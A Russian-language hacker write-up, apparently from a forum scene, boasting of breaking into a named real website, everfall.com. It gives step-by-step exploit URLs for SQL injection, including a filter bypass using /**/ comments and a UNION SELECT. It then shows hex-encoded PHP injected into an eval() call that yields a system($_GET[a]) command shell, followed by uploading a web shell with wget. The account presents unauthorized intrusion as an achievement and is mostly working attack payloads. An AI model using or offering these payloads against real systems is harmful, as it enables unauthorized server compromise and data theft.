Как был взломан everfall.com:
PHP и SQL инъекции в одном флаконе
Теплый августовский вечер, в наушниках долбит drum'n'bass. Проверив свое VPN подключение и цепочку соксов
я открыл в браузере один малоинтересный ресурс, на котором можно постить куски своего кода и т.д.
Вообщем, суть не в этом. А в процессе самого взлома.
Первое, чтобросилось в глаза - это структура движка. Во-первых, он был написан на моем любимом
скриптовом языке PHP, а во вторых, все параметры передавались ему ввиде QUERY_STRING, то есть:
/index.php?параметр.
Наивно полагая, что скрипт просто инклудит параметр или читает его я попробывалподставить строчку в
виде ../../../../../../etc/passwd%00, однако ничего не вышло, а страница оказалось дефолтной. Этот
вариант практически сразу отпал.
Затем я попробывал передать в параметре кавычку, чтобы проверить сайт на наличие уязвимости класса
SQL-injection:
http://www.everfall.com/index.php?gamedev.ru'
В ответ мне вернулась строка, характерищующая ошибку синтаксиса MySQL:
fatal error: 1064:
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near ''gamedev.ru''' at line 1
Итак, первое что я точно уже знал: скрипт уязвим перед SQL-инъекцией и в качестве базы данных
выступает старый добрый MySQL.Тогда, чтобы проверить, можно ли использовать данную инъекцию
для манипуляцией базой данных посредством UNION запросов я обратился к скрипту следующим образом:
http://www.everfall.com/index.php?gamedev.ru'/*
И запрос выполнился без ошибки... Вполне логично, ведь в запросе нам мешала всего одна кавычка, а с
помощью последовательности символов /* мы закомментировали ее... Но радоваться было еще рано.
Когда я уже начал подбирать количество столбцов, возникли проблемы:
http://www.everfall.com/index.php?gamedev.ru'+order+by+10/*
Передо мной появился вся таже ошибка! Тогда, немного повертев с подбором через union select я понял,
что здесь есть какая-то фильтрация... Какая - мне предстоит выяснить. Тогда я попробывал обратиться
к скрипту следующим образом:
http://www.everfall.com/index.php?gamedev.ru'%20order%20by%2010/*
В ответ я получил ошибку:
fatal error: 1054: Unknown column '20order' in 'where clause'
Это не ошибка подбора, как, возможно, подумали вы. Если бы мы подбирали количество колонок через order
by и это количество не совпадало, то получили бы в ответ строку:
Unknown column '10' in 'order clause'
А здесь имеется какая-то синтаксическая ошибка... Я сразу обратил внимание на слово '20order', странно,
возможно скрипт фильтровует и символ "%"? Возможно, скрипт фильтровал символы "+"
и "%", которые выступают как пробелы или их вспомогатели. Выход из этой ситуации нашелся сразу: в
MySQL пусто закрытый комментарий вида /**/ воспринимается как пробел
В итоге, правильно сформированный запрос, с абсолютным подбором выглядел так:
http://www.everfall.com/index.php?gamedev.ru'/**/order/**/by/**/2/*
Это означало, что в первом SELECT запросе содержится всего 2 колонки, а последующий мною внедряемый
UNION также должен содержать для вывода 2 колонки.
http://www.everfall.com/index.php?gamedev.ru'/**/union/**/select/**/1,2/*
Страница вывелась без ошибок, однако ни одного поля (1,2) я не увидел на странице. А все потому, что
первый запрос выполнился удачно и вывод на страницу идет только с него, поэтому необходимо сделать так,
чтобы первый SELECT из запроса облажался, тогда второй UNION запрос выведет то, что мне надо. Например:
http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,2/*
И тут меня поразила эта картина. В заголовке странице <title> появилась цифра 1, а на том месте,
гдепо идее должен быть текст, ничего не было. Точнее было, но совсем не то, что я, наверное, ожидал:
Parse error: syntax error, unexpected $end in /home/1010/domains/www.everfall.com/html/index.php(89):
eval()'d code on line 1
Данная ошибка характеризует наличие неправильно выполненного PHP-кода посредством функции eval().
Вам ведь наверное известно, что эта функция выполняет какой либо PHP-код.
Но я не сразу сообразил, в чем дело. Сначало я попробывал узнать версию MySQL, а также пользователя
и название базы данных с помощью функций: version(), user(), database(). Как оказалось, версия
MySQL была старой 4.x - но это меня не обрадовало, ведь в этой версии демона не предусмотрена
information_schema - таблица в базе, в которой хранится структура всей базы данных, что всегда
помогает при взломе: угадывать ничего не приходится
Также выяснилось, что у моего пользователя нету привелегий file_priv. Это привелегии, позволяющие
через MySQL работать с файлами. Например, с помощью LOAD_FILE прочитать какой либо файл, а через
INTO OUTFILE можно даже залить вэб-шелл.
Таблицы пришлось банально угадывать. Спустя пять минут неудачного брутфорса, я вышел покурить и
задумался о той самой ошибке в eval(). В голову пришла одна мысль. Возможно, что с таблице, из
которой достаются данные, содержат в первой колонке название страницы, которое выводится в title,
(также могло бы послужить для атаки класса SQL injection over Passive XSS), а во второй тот колонке
PHP-код, который, собственно, и выводит ошибку, так как вместо кода в eval подставлялась "2".
Обратившись к скрипту следующим образом, стараясь вызвать функцию phpinfo():
http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,"phpinfo();"/*
Я получил ошибку синтаксиса SQL. Недолго думая я закодировал строку "phpinfo();" в HEX и подставил
следующим образом:
http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,0x706870696e666f28293b/*
И передо мной предстал вывод функции phpinfo()! Неверя своим глазам и в то же время восхищаясь собой
я сразу хотел получить вэб шелл. Из phpinfo() мне удалось узнать, что safe_mode выключен, значит
проблем никаких не будет.
http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,0x73797374656d28245f4745545b615d293b/*&a=ls
В закодированной строке хранится код system($_GET[a]). Что это такое вы наверняка знаете:
на экране была выведена команда ls - листинг файлов в текущий директории со скриптом.
Налив очередную кружку кофе я выяснил, что мои права в системе - права оунера сайта. На серваке был
установлен многопроцессорный (SMP) Linux 2.6.20, а также wget, с помощью которого я залил
вэб-шелл в одну из папок, доступных для записи.
Затем мне стало интересно взглянуть на исходный код того, что я так усердно взламывал. Первая моя
ошибочная догадка была в том, что фильтрации были - ничего подобного.
Обратите внимание на переменню $cover:
PHP код:
$cover = $HTTP_SERVER_VARS['argv'][0];
Из всей QUERY_STRING скрипт получал только 1 параметр, а разделителем этих параметров был пробел. То есть
из всей QUERY_STRING равной например "cytechoid owned joo" в $cover попало бы только "cytechoid".
Но и это оказалось не проблемой. Идем далее. SQL-инъекция в функции mysql_query() на лицо:
PHP код:
$dbquery = mysql_query("select displayname, displaylink from {$setup['table']} where name = '$cover'")
or dbdie();
$dbrow = mysql_fetch_row($dbquery);
if ($dbrow)
{
$displayname = $dbrow[0];
$displaylink = $dbrow[1];
}
В конце концов получая данные параметры, скрипт выполнял следующий код, который послужил поводом для
уязвимости PHP-injection:
PHP код:
<?php eval($displaylink); ?></td>
и практически бесполезной SiXSS:
PHP код:
echo "<title> $displayname </title>";
С вами был Cytech.
hellknights.void.ru
forum.antichat.ru